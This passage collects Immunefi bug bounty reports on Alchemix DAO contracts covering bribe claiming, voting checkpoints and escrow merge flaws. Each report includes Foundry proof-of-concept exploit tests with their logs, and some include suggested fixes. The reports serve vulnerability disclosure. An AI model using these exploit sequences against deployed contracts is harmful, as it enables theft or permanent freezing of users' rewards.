1- Add this function in `VotingEscrow.t.sol` file :

```
    function test_AmountToRagequit_Fuzzing() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, THREE_WEEKS, false);

        uint256 ragequitAmount = veALCX.amountToRagequit(tokenId);

        // Log regequitAmount
        console.log("#BEFORE - How much `ragequitAmount` need ? %d", ragequitAmount);

        // Mint needed Ragequit and withdraw token
        hevm.prank(address(veALCX));
        flux.mint(admin, ragequitAmount);

        // Approve Flux token
        hevm.prank(admin);
        flux.approve(address(veALCX), ragequitAmount);


        /* Maliciouse User call `depositFor()` function for tokenId with small amount
            1- Mint bpt token for this Maliciouse contract
            2- call depositFor() , for tokenId
        */
        deal(bpt, address(this), TOKEN_1);
        IERC20(bpt).approve(address(veALCX), TOKEN_1);
        veALCX.depositFor(tokenId, 1e7); // Deposit small amount for user - `tokenId`

        // Log regequitAmount
        uint256 ragequitAmount_AFTER = veALCX.amountToRagequit(tokenId);
        console.log("#AFTER - How much `ragequitAmount` need ? %d", ragequitAmount_AFTER);

        // check `ragequitAmount` and `ragequitAmount_AFTER` is equal or not
        assertEq(ragequitAmount,ragequitAmount_AFTER,"`ragequitAmount` before and after not equal because:");

        hevm.expectRevert("startCooldown() TX reverted because : `ragequitAmount` increased by Maliciouse user");
        hevm.prank(admin);
        veALCX.startCooldown(tokenId);
    }
```

2- Runing test

```
forge test --match-test "test_AmountToRagequit_Fuzzing" --fork-url https://eth-mainnet.public.blastapi.io -vvvv
```


# 31082 - \[SC - Critical] Expired locks can be used to claim rewards

Submitted on May 12th 2024 at 12:32:07 UTC by @infosec\_us\_team for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31082

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Theft of unclaimed yield

## Description

This report is so short because the bug is straightforward to explain and prove.

## Vulnerability Details

Expired locks can keep claiming rewards for any bribe.

## Recommended Fix

The fix requires checking that **block.timestamp** is larger than the lock's expiration date when claiming bribes using the `claimBribes(...)` function in the `Voter` smart contract.

The permanently fixed function is:

```
function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
    require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));

    require(IVotingEscrow(veALCX).lockEnd(_tokenId) > block.timestamp, "token expired");

    for (uint256 i = 0; i < _bribes.length; i++) {
        IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
    }
}
```

## Impact

Stealing bribe rewards using expired tokens can lead to solvency issues.

## Proof of Concept

This proof of concept can be added to `src/test/Voting.t.sol`. It demonstrates how a user can create a lock for a min. of 1 epoch, and keep claiming rewards forever (even after expired).

```
    function testClaimingBribesWithExpiredLock() public {

        // User 1
        uint256 tokenId1 = createVeAlcx(holder, TOKEN_1, nextEpoch, false);
        
        address bribeAddress = voter.bribes(address(sushiGauge));
        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;
        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](1);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        // Step 1- Holder votes
        hevm.prank(holder);
        voter.vote(tokenId1, pools, weights, 0);

        console2.log("------------------------------------------------------------------------");
        console2.log("bal balance of holder before voting", IERC20(bal).balanceOf(holder));

        // Step 2- Start second epoch
        hevm.warp(newEpoch());
        voter.distribute();
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        bool expired =  veALCX.lockEnd(tokenId1) < block.timestamp;
        assertEq(expired, true, "token should be expired");

        // Step 3- Holder claims
        hevm.prank(holder);
        voter.claimBribes(bribes, tokens, tokenId1);
        
        // Step 4- Start third epoch
        hevm.warp(newEpoch());
        voter.distribute();
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        // Step 5- Holder claims
        hevm.prank(holder);
        voter.claimBribes(bribes, tokens, tokenId1);

        console2.log("------------------------------------------------------------------------");
        console2.log("bal balance of holder after voting", IERC20(bal).balanceOf(holder));
        
    }
```


# 31085 - \[SC - Critical] Malicious users can front-run the distribution ...

Submitted on May 12th 2024 at 14:17:54 UTC by @Ch301 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31085

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Theft of unclaimed royalties

## Description

## Brief/Intro

The pool weight is zero but users are still able to claim bribes.

## Vulnerability Details

First, let's understand two main points:

1- When a user invokes `Voter.sol#vote()`\[#1] will update `lastVoted[_tokenId]` to `block.timestamp`

```solidity
File: Voter.sol

508:         lastVoted[_tokenId] = block.timestamp;

```

Users to be able to reset the voting status, need to call `Voter.sol#reset()`. However, the modifier `onlyNewEpoch()` will force the user to wait until a new epoch starts since the last vote. So user can call `reset()` at the first second of the new epoch.

```solidity
File: Voter.sol

110:         require((block.timestamp / DURATION) * DURATION > lastVoted[_tokenId], "TOKEN_ALREADY_VOTED_THIS_EPOCH");

```

2- To distribute rewards and bribes to all gauges you need to call `Voter.sol#distribute()` only once per epoch. (Normally this is done by off-chain bots)

```solidity
File: Voter.sol

408:     function _distribute(address _gauge) internal {
409:        
410:         // Distribute once after epoch has ended
411:         require(
412:             block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
413:             "can only distribute after period end"
414:         );

```

Now, the first point updates all the related values, but the `Bribe.sol#withdraw()` will create a new checkpoint `X` (see: `_writeCheckpoint()`\[#2]) this checkpoint get considered for the new epoch not the last epoch.

Next time the user calls `voter.sol#claimBribes()`. the `balanceOf` of the epoch `X - 1` will allow the user to claim all/part from the bribes even if he didn't help the gauge to generate more emrssions

```solidity
File: Bribe.sol
232:     function earned(address token, uint256 tokenId) public view returns (uint256) {
        /***/
262:                 if (_nextEpochStart > prevRewards.timestamp) {
263:                     reward += prevRewards.balanceOf;
264:                 }

```

## Impact Details

1- If the malicious user is the only one who votes to a gauge, He will claim all the bribes if they exist and the pool will receive zero emissions.

2- If there are multiple users vote for that particular pool, the malicious user will steal a part from other user's bribes.

## References

\#1: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L449>

\#2: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol?utm\\_source=immunefi#L351-L360>

## Proof of Concept

Foundry PoC:

1. Please copy the following PoC in `Voting.t.sol`

```solidity
    function test_bribes_poc_01() public {
        {//set up
            uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

            address bribeAddress = voter.bribes(address(sushiGauge));

            address[] memory pools = new address[](1);
            pools[0] = sushiPoolAddress;
            uint256[] memory weights = new uint256[](1);
            weights[0] = 5000;

            address[] memory bribes = new address[](1);
            bribes[0] = address(bribeAddress);
            address[][] memory tokens = new address[][](1);
            tokens[0] = new address[](1);
            tokens[0][0] = bal;

            // in epoch i, user votes with balance x
            hevm.prank(admin);
            voter.vote(tokenId1, pools, weights, 0);

            // Start epoch
            hevm.warp(newEpoch());
            voter.distribute();
        }

        hevm.prank(admin);
        voter.vote(tokenId1, pools, weights, 0);

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        /*@audit you can call `distribute()`only starting from `IMinter(minter).activePeriod() + IMinter(minter).DURATION()` */
        // Start second epoch. this is the first second of the second epoch.
        hevm.warp(newEpoch() - 1);
        //! user front-run the `distribute()` transaction 
        hevm.prank(admin);
        voter.reset(tokenId1);

        //! weight is zero
        uint weight = voter.weights(sushiPoolAddress);
        assertEq(weight, 0);

        voter.distribute();

        uint256 balanceStart = IERC20(bal).balanceOf(admin);

        // Claim bribes from epoch i
        hevm.warp(block.timestamp + 100);
        hevm.prank(admin);
        voter.claimBribes(bribes, tokens, tokenId1);
        uint256 balanceEnd = IERC20(bal).balanceOf(admin);
        
        //! weight is zero but the user still able to claim the bribes
        assertGt(balanceEnd, balanceStart);
    }
```

2. Test result:

```diff
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] test_bribes_poc_01() (gas: 3792050)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 52.46s (37.28s CPU time)

Ran 1 test suite in 54.39s (52.46s CPU time): 1 tests passed, 0 failed, 0 skipped 
(1 total tests)
```


# 31087 - \[SC - Low] Colition between approve and \_isApprovedOrOwner...

Submitted on May 12th 2024 at 14:40:44 UTC by @Ch301 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31087

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

Users with `approve()` can't trigger `merge()` function.

## Vulnerability Details

When a user (has the approve) triggers `VotingEscrow.sol#merge()` the `_burn()` function will sub-call to `approve()`

```solidity
File: VotingEscrow.sol

1601:     function _burn(uint256 _tokenId, uint256 _value) internal {
             /***/
1609:         // Clear approval
1610:         approve(address(0), _tokenId);

```

However, the `approve()` will revert if: `msg.sender` is not the owner and `(ownerToOperators[owner])[msg.sender]` returns false.

```solidity
File: VotingEscrow.sol
501:     function approve(address _approved, uint256 _tokenId) public {
        /***/
507:         // Check requirements
508:         bool senderIsOwner = (owner == msg.sender);
509:         bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender];
510: 
511:         require(senderIsOwner || senderIsApprovedForAll, "sender is not owner or approved");
```

## Impact Details

The owner sets both the NFTs `approve()` to the user. however, he cannot call `merge()` successfully.

## References

non

## Proof of Concept

Foundry PoC:

1. Please copy the following POC in `VotingEscrow.t.sol`

```solidity
 function test_poc() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_100K, MAXTIME / 2, false);

        hevm.startPrank(admin);
        // Vote to trigger flux accrual
        hevm.warp(newEpoch());

        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        voter.vote(tokenId1, pools, weights, 0);
        voter.vote(tokenId2, pools, weights, 0);

        voter.distribute();

        hevm.warp(newEpoch());

        // Reset to allow merging of tokens
        voter.reset(tokenId1);
        //voter.reset(tokenId2); No needs
        veALCX.approve(beef, tokenId1);
        veALCX.approve(beef, tokenId2);
        hevm.stopPrank();

        hevm.prank(beef);
        hevm.expectRevert(abi.encodePacked("sender is not owner or approved"));
        veALCX.merge(tokenId1, tokenId2);
    }
```

2. Test result:

```diff
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] test_poc() (gas: 4059754)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 93.81s (68.85s CPU time)

Ran 1 test suite in 96.06s (93.81s CPU time): 1 tests passed, 0 failed, 0 skipped 
(1 total tests)
```


# 31112 - \[SC - Critical] Bribesolwithdraw doesnt update the totalVotings...

Submitted on May 12th 2024 at 23:48:52 UTC by @crazy\_squirrel for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31112

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* The totalVoting tracker can be inflated

## Description

## Brief/Intro

> Bribe.sol The Bribe.sol contract distributes bribes for a given Gauge. Each Gauge had a Bribe contract attached to it, and each Bribe can accept multiple (up to 16) different tokens as bribes. During each epoch, veALCX stakers can collect bribes for a given gauge if they voted on that gauge in the previous epoch.
>
> * the total amount of bribe `b` on pool `p` claimable by a veALCX NFT with token-ID `i` during a given epoch `n` is equal to the proportion of total veALCX power that that NFT used to vote on pool `p`

## Vulnerability Details

In the `Bribe.sol` contract, the `deposit` function increases the `totalVoting` tracker's amount. However during the `withdraw`al's execution, the `totalVoting`'s value is **NOT** decreased.

This missing `totalVoting` decrease directly impacts the voting power checkpointing and calculations by writing the wrong amount:

```solidity
function _writeVotingCheckpoint() internal {
        uint256 _nCheckPoints = votingNumCheckpoints;
        uint256 _timestamp = block.timestamp;

        if (_nCheckPoints > 0 && votingCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
            votingCheckpoints[_nCheckPoints - 1].votes = totalVoting;
        } else {
            votingCheckpoints[_nCheckPoints] = VotingCheckpoint(_timestamp, totalVoting);
            votingNumCheckpoints = _nCheckPoints + 1;
        }
    }
```

## Impact Details

Medium.

By impacting the variable used in the voting result calculations, this

## References

```solidity
function deposit(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply += amount;
        balanceOf[tokenId] += amount;

        totalVoting += amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();
        _writeVotingCheckpoint();

        emit Deposit(msg.sender, tokenId, amount);
    }
```

```solidity
function withdraw(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply -= amount;
        balanceOf[tokenId] -= amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();

        emit Withdraw(msg.sender, tokenId, amount);
    }
```

## Proof of Concept

See and compare the following PoC's `console.log`s.

These will be:

```bash
Running 1 test for src/test/PassthroughGauge.t.sol:PassthroughGaugeTest
[PASS] testPassthroughGaugeRewards() (gas: 1406037)
Logs:
  totalVoting BEFORE the withdrawal 300000000000000000000
  totalVoting AFTER the withdrawal 300000000000000000000
```

Priot to running `forge test --match-contract PassthroughGauge -vvvv --fork-url https://eth-mainnet.alchemyapi.io/v2/{YOUR_ALCHEMY_API_KEY}`, paste the following code to the `src/test/PassthroughGauge.t.sol` file:

```solidity
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract PassthroughGaugeTest is BaseTest {
    uint256 snapshotWeek = 17120807;

    uint256 platformFee = 400; // 4%
    uint256 DENOMINATOR = 10_000; // denominates weights 10_000 = 100%

    function setUp() public {
        setupContracts(block.timestamp);
    }

    // Rewards should be passed through to external gauges
    // Add tests for gauges as they are added
    function testPassthroughGaugeRewards() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        hevm.startPrank(admin);

        uint256 period = minter.activePeriod();

        hevm.warp(period);

        assertEq(sushiGauge.rewardToken(), address(alcx), "incorrect reward token");
        uint256 sushiBalanceBefore = alcx.balanceOf(sushiPoolAddress);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        // Move forward epoch
        hevm.warp(period + 1 weeks);

        IBribe bribeTest = IBribe(voter.bribes(voter.gauges(pools[0])));

        vm.stopPrank();

        vm.startPrank(address(voter));

        bribeTest.deposit(300 * 1e18, tokenId);

        for (uint256 i = 0; i < pools.length; i++) {
            console.log("totalVoting BEFORE the withdrawal", bribeTest.totalVoting());
        }

        // voter.vote(tokenId, pools, weights, 0);


        bribeTest.withdraw(300 * 1e18, tokenId);

        for (uint256 i = 0; i < pools.length; i++) {
            console.log("totalVoting AFTER the withdrawal", bribeTest.totalVoting());
        }
    }
}
```

**Notice that the `totalVoting` amount HAS NOT decreased after the withdrawal.**


# 31141 - \[SC - Critical] Permanent freezing of unclaimed yield of reward...

## Permanent freezing of unclaimed yield of reward tokens in Bribe contract when attackers maliciously exploit voter.poke()

Submitted on May 13th 2024 at 10:11:55 UTC by @perseverance for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31141

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Permanent freezing of unclaimed yield
* Permanent freezing of unclaimed royalties

### Description

## Description

### Brief/Intro

Bribe contracts allow bribing users with voting power to vote for a specific gauge. The contract allows bribed users to claim their bribes.

when the function notifyRewardAmount() is called, the reward token is sent from the msg.sender to bribe contract and kept in this contract as reward.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L112>

```solidity
function notifyRewardAmount(address token, uint256 amount) external lock {

     IERC20(token).safeTransferFrom(msg.sender, address(this), amount);

    tokenRewardsPerEpoch[token][adjustedTstamp] = epochRewards + amount;
}
```

Holders of VeAlcx tokens after voting in Voter contract will earn some reward and can claim reward by calling function claimBribes in voter contract.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol#L332-L338>

```solidity
function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));

        for (uint256 i = 0; i < _bribes.length; i++) {
            IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
        }
    }

```

Reward is calculated as follow:

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L283C5-L300C6>

```solidity
function getRewardForOwner(uint256 tokenId, address[] memory tokens) external lock {
        require(msg.sender == voter, "not voter");
        address _owner = IVotingEscrow(veALCX).ownerOf(tokenId);
        uint256 length = tokens.length;
        for (uint256 i = 0; i < length; i++) {
            uint256 _reward = earned(tokens[i], tokenId);

            require(_reward > 0, "no rewards to claim");

            lastEarn[tokens[i]][tokenId] = block.timestamp;

            _writeCheckpoint(tokenId, balanceOf[tokenId]);

            IERC20(tokens[i]).safeTransfer(_owner, _reward);

            emit ClaimRewards(_owner, tokens[i], _reward);
        }
    }

```

The earned() internal function is used to calculate the reward for a user.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L265-L278>

```solidity

function earned(address token, uint256 tokenId) public view returns (uint256) {

        // Redacted for simplicity 
        Checkpoint memory cp = checkpoints[tokenId][_endIndex];
        uint256 _lastEpochStart = _bribeStart(cp.timestamp);
        uint256 _lastEpochEnd = _lastEpochStart + DURATION;
        uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes;

        // Prevent divide by zero
        if (_priorSupply == 0) {
            _priorSupply = 1;
        }

        if (block.timestamp > _lastEpochEnd) {
            reward += (cp.balanceOf * tokenRewardsPerEpoch[token][_lastEpochStart]) / _priorSupply;
        }

        return reward;
}
```

The \_priorSupply is taken from votingCheckpoints\[].votes. This votes are updated whenever the deposit function into Bribe is called when user vote via Voter contract.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L306C8-L316C6>

```solidity
    function deposit(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply += amount;
        balanceOf[tokenId] += amount;

        totalVoting += amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();
        _writeVotingCheckpoint();

        emit Deposit(msg.sender, tokenId, amount);
    }


```

\_writeVotingCheckpoint() is called.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L362-L372>

```solidity
function _writeVotingCheckpoint() internal {
        uint256 _nCheckPoints = votingNumCheckpoints;
        uint256 _timestamp = block.timestamp;

        if (_nCheckPoints > 0 && votingCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
            votingCheckpoints[_nCheckPoints - 1].votes = totalVoting;
        } else {
            votingCheckpoints[_nCheckPoints] = VotingCheckpoint(_timestamp, totalVoting);
            votingNumCheckpoints = _nCheckPoints + 1;
        }
    }

```

### The vulnerability

#### Vulnerability Details

With that basic understanding, I will explain the Vulnerability now.

The vulnerability is that when user deposit() by calling vote() function via Voter contract, then the \_writeVotingCheckpoint() is called. Then the votingCheckpoints\[].votes is updated to be the totalVoting. In the function deposit, the totalVoting is increased. But in function withdraw() the totalVoting is not decreasing.

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L309>

```solidity
    function deposit(uint256 amount, uint256 tokenId) external {

        totalVoting += amount;
    } 
```

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol#L319-L329>

```solidity
 function withdraw(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply -= amount;
        balanceOf[tokenId] -= amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();

        emit Withdraw(msg.sender, tokenId, amount);
}
```

So now in the Voter contract, the function poke() allows the owner of tokenId to call in the same EPOCH. If this happen, then the vote of user is first withdrawned and then deposit again. The balanceOf and totalSuppy is accounting correctly, but the totalVoting will be increased because in withdraw() function, it was not updated.

So if a user call poke() in the same EPOCH, he will cause the totalVoting to be wrong. The attacker can maliciously call poke() several times to maliciously inflate the totalVoting.

When the totalVoting is inflated, each user will receive less reward intended by the system. So total earned will be less then the total reward. The reward left in the contract will be frozen as there is no way to take this reward out of the contract.

To easier for understanding, I will explain this with a scenario.

Step 1:\
3 users: Alice, Bob and the attacker create locks with 1e18 BPT token

```solidity
        uint256 tokenId1 = createVeAlcx(attacker, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        
```

Step 2: The bribe contract receive some reward, suppose 100\_000e18 BAL

```solidity
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
```

```solidity
    function createThirdPartyBribe(address _bribeAddress, address _token, uint256 _amount) public {
        deal(_token, address(this), _amount);

        IERC20(_token).approve(_bribeAddress, _amount);

        if (!IVoter(voter).isWhitelisted(_token)) {
            hevm.prank(address(timelockExecutor));
            IVoter(voter).whitelist(_token);
        }

        IBribe(_bribeAddress).notifyRewardAmount(_token, _amount);
    }
    
```

Step 3: Each user will vote

```solidity
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        
        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

```

Step 4: Fast forward 1 EPOCH and each user will be able to claim 1/3 of 100\_000e18 BAL token as reward. If all users claim then the left token in the contract will be nearly zero.

```solidity
        hevm.warp(newEpoch()); 
        
        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 
        
         earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

         earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 

        hevm.prank(Alice);
        voter.claimBribes(bribes, tokens, tokenId2);
        console2.log("Bal balance of Alice: %s", IERC20(bal).balanceOf(Alice)); 
        
        hevm.prank(Bob);
        voter.claimBribes(bribes, tokens, tokenId3); 
        console2.log("Bal balance of Bob: %s", IERC20(bal).balanceOf(Bob)); 
```

So each user will get: 33333.33333333e18 that is 1/3 of the reward. This is expected amount

Log:

```
  Fast forward 1 epoch
  earnedBribes1 33333333333333333333333
  earnedBribes2 33333333333333333333333
  earnedBribes3 33333333333333333333333
  Bal balance of attacker: 33333333333333333333333
  Bal balance of Alice: 33333333333333333333333
  Bal balance of Bob: 33333333333333333333333
  Bal balance of Bribe contract: 1
```

But if the user call poke() in the same EPOCH as in the step 3, then the totalVoting will be inflated.

I demonstrated this in the test case testBribeClaimingPoke\_Hacked\_2()

```solidity
        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting());        
        hevm.stopPrank();
```

The log shows:

```
  totalVoting after vote(): % 1999407217131972451
  Call voter poke()
  totalVoting after poke(): % 3998814434263944902
```

And then in step 4, the total of rewards claimed by all users will be less than the total reward. There will be tokens left in the contract. Bal balance of Bribe contract: 25000000000000000000000

```
[PASS] testBribeClaimingPoke_Hacked_2() (gas: 4471757)
Logs:
  Bal balance of Bribe contract: 100000000000000000000000
  totalVoting after vote(): % 1999407217131972451
  Call voter poke()
  totalVoting after poke(): % 3998814434263944902
  earnedBribes0 0
  earnedBribes2 0
  earnedBribes3 0
  Fast forward 1 epoch
  earnedBribes1 25000000000000000000000
  Bal balance of attacker: 25000000000000000000000
  earnedBribes2 25000000000000000000000
  earnedBribes3 25000000000000000000000
  Bal balance of Alice: 25000000000000000000000
  Bal balance of Bob: 25000000000000000000000
  Bal balance of Bribe contract: 25000000000000000000000

```

Now the attacker can also exploit this vulnerablity to cause "Permanent freezing of unclaimed yield" or 'Permanent freezing of unclaimed royalties" by maliciously call poke() many times to inflate totalVoting. The left amount of reward will be stuck in this contract. There is no way to get it out so it is Permanent freezing of unclaimed yield. s

I demonstrated this in the test case: testBribeClaimingPoke\_Hacked()

```solidity
        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
                hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        hevm.stopPrank();
```

So the totalVoting will be inflated more and the left token will be more. In this POC, the Bal balance left in the Bribe contract 50000000000000000000002 that is 1/2 of the reward amount.

Log:

```
  Bal balance of Bribe contract: 100000000000000000000000
  Call voter poke()
  totalVoting after poke(): % 3998814434263944902
  totalVoting after poke(): % 5998221651395917353
  totalVoting after poke(): % 7997628868527889804
  Fast forward 1 epoch
  earnedBribes1 16666666666666666666666
  Bal balance of attacker: 16666666666666666666666
  earnedBribes2 16666666666666666666666
  earnedBribes3 16666666666666666666666
  Bal balance of Alice: 16666666666666666666666
  Bal balance of Bob: 16666666666666666666666
  Bal balance of Bribe contract: 50000000000000000000002
```

## Impacts

## About the severity assessment

The impact of this vulnerability is: This bug will result in "Permanent freezing of unclaimed yield" or 'Permanent freezing of unclaimed royalties" because the reward token will be left in the Bribe contract and cannot be taken out, so it is permanently frozen in this contract.

This bug can happen with normal users when the call the poke() in the same EPOCH as vote().

Or this bug can be exploited by attacker to cause this impact.

This bug severity: High Category: Permanent freezing of unclaimed yield or Permanent freezing of unclaimed royalties

Capital for the attack: Gas to execute the transactions. Some amount of BPT to invest to lock to get the VeAlcx tokens.

Easy to exploit and easy to be automated.

### Proof of concept

## Proof of concept

I created 3 test cases to demonstrate the 3 scenarios for attack and a normal scenario to clearly see the attack.

### testBribeClaimingPoke\_Hacked

I demonstrated this attack in the test case:

```solidity
    function testBribeClaimingPoke_Hacked() public {

        
        address attacker = address(this) ; 
        uint256 tokenId1 = createVeAlcx(address(this), TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        tokenId3 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
        console2.log("Bal balance of Bribe contract: %s", IERC20(bal).balanceOf(bribeAddress)); 

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;

        hevm.prank(attacker);
        voter.vote(tokenId1, pools, weights, 0);
        console2.log("totalVoting after vote(): %", IBribe(bribeAddress).totalVoting());
        console2.log("Call voter poke()"); 
                hevm.startPrank(attacker);
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        voter.poke(tokenId1);
        console2.log("totalVoting after poke(): %", IBribe(bribeAddress).totalVoting()); 
        hevm.stopPrank();

        hevm.prank(Alice);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId3, pools, weights, 0);

        uint256 earnedBribes0 = IBribe(bribeAddress).earned(bal, tokenId1);
        assertEq(earnedBribes0, 0, "no bribes should be earned yet"); 
        console2.log("earnedBribes0", earnedBribes0); 

        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

        earnedBribes3 = IBribe(bribeAddress).earned(bal, tokenId3); 
        console2.log("earnedBribes3", earnedBribes3);

        console2.log("Fast forward 1 epoch"); 
        hevm.warp(newEpoch()); 
        //voter.distribute();
        hevm.startPrank(attacker);
        voter.poke(tokenId1);
        hevm.stopPrank();

        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId1); 
        console2.log("earnedBribes1", earnedBribes1); 

        hevm.prank(attacker);
        voter.claimBribes(bribes, tokens, tokenId1);
        console2.log("Bal balance of attacker: %s", IERC20(bal).balanceOf(attacker)); 
        
        earnedBribes2 = IBribe(bribeAddress).earned(bal, tokenId2); 
        console2.log("earnedBribes2", earnedBribes2); 

